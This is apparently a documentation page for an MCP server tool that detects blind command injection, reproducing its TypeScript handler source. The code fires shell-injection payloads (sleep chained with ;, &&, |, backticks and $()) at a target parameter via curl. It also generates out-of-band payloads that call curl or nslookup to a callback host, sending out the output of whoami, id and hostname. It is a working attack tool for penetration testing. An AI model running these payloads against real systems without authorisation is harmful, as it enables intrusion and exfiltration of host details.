operant-mcp

Instructions

Implementation Reference

• src/tools/cmdi.ts:100-181 (handler)

  The implementation of the 'cmdi_blind_detect' tool, which performs time-based and OOB command injection detection.

  server.tool(
    "cmdi_blind_detect",
    "Detect blind command injection via time delay and OOB callbacks. Tests sleep-based delay detection and optional out-of-band (curl/nslookup to callback). Returns time_based results array and oob_payloads list. Side effects: Executes sleep on target if vulnerable. OOB payloads call back to callback_url.",
    {
      url: z.string().describe("Target URL"),
      parameter: z.string().describe("Vulnerable parameter name"),
      base_value: z.string().optional().describe("Legitimate parameter value"),
      method: z.enum(["GET", "POST"]).optional().describe("HTTP method"),
      callback_url: z.string().optional().describe("Out-of-band callback URL for OOB detection (e.g. Burp Collaborator)"),
      delay_seconds: z.number().min(1).max(10).optional().describe("Sleep duration for time-based detection"),
    },
    async ({ url, parameter, base_value = "1", method = "POST", callback_url, delay_seconds = 5 }) => {
      requireTool("curl");
  
      const cb = callback_url ?? "https://collaborator.example.com";
  
      // Time-based payloads
      const sleepPayloads = [
        `${base_value};sleep ${delay_seconds}`,
        `${base_value}&&sleep ${delay_seconds}`,
        `${base_value}|sleep ${delay_seconds}`,
        `${base_value}\`sleep ${delay_seconds}\``,
        `${base_value}$(sleep ${delay_seconds})`,
      ];
  
      const timeResults = [];
      for (const payload of sleepPayloads) {
        let curlArgs: string[];
        if (method === "GET") {
          curlArgs = [
            "-sk", "-o", "/dev/null",
            "-w", "%{time_total}",
            `${url}?${parameter}=${payload}`,
          ];
        } else {
          curlArgs = [
            "-sk", "-o", "/dev/null",
            "-w", "%{time_total}",
            "-X", "POST",
            "-d", `${parameter}=${payload}`,
            url,
          ];
        }
  
        const res = await runCmd("curl", curlArgs, { timeout: delay_seconds + 15 });
        let elapsed = 0.0;
        try {
          elapsed = parseFloat(res.stdout);
          if (isNaN(elapsed)) elapsed = 0.0;
        } catch {
          elapsed = 0.0;
        }
  
        const triggered = elapsed >= delay_seconds * 0.8;
        timeResults.push({
          payload,
          elapsed_seconds: Math.round(elapsed * 100) / 100,
          triggered,
        });
      }
  
      // OOB payloads (generate but don't verify — user checks collaborator)
      const cbHost = cb.replace("https://", "").replace("http://", "");
      const oobPayloads = [
        `${base_value};curl ${cb}/$(whoami)`,
        `${base_value};nslookup $(whoami).${cbHost}`,
        `${base_value}$(curl ${cb}/$(id))`,
        `${base_value}\`curl ${cb}/$(hostname)\``,
      ];
  
      const anyTriggered = timeResults.some((r) => r.triggered);
      const result = {
        time_based_vulnerable: anyTriggered,
        time_results: timeResults,
        oob_payloads_generated: oobPayloads,
        hint: callback_url
          ? "Check your callback server for OOB interactions after sending these payloads manually."
          : "Set callback_url for out-of-band detection.",
      };
      return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] };
    }
  );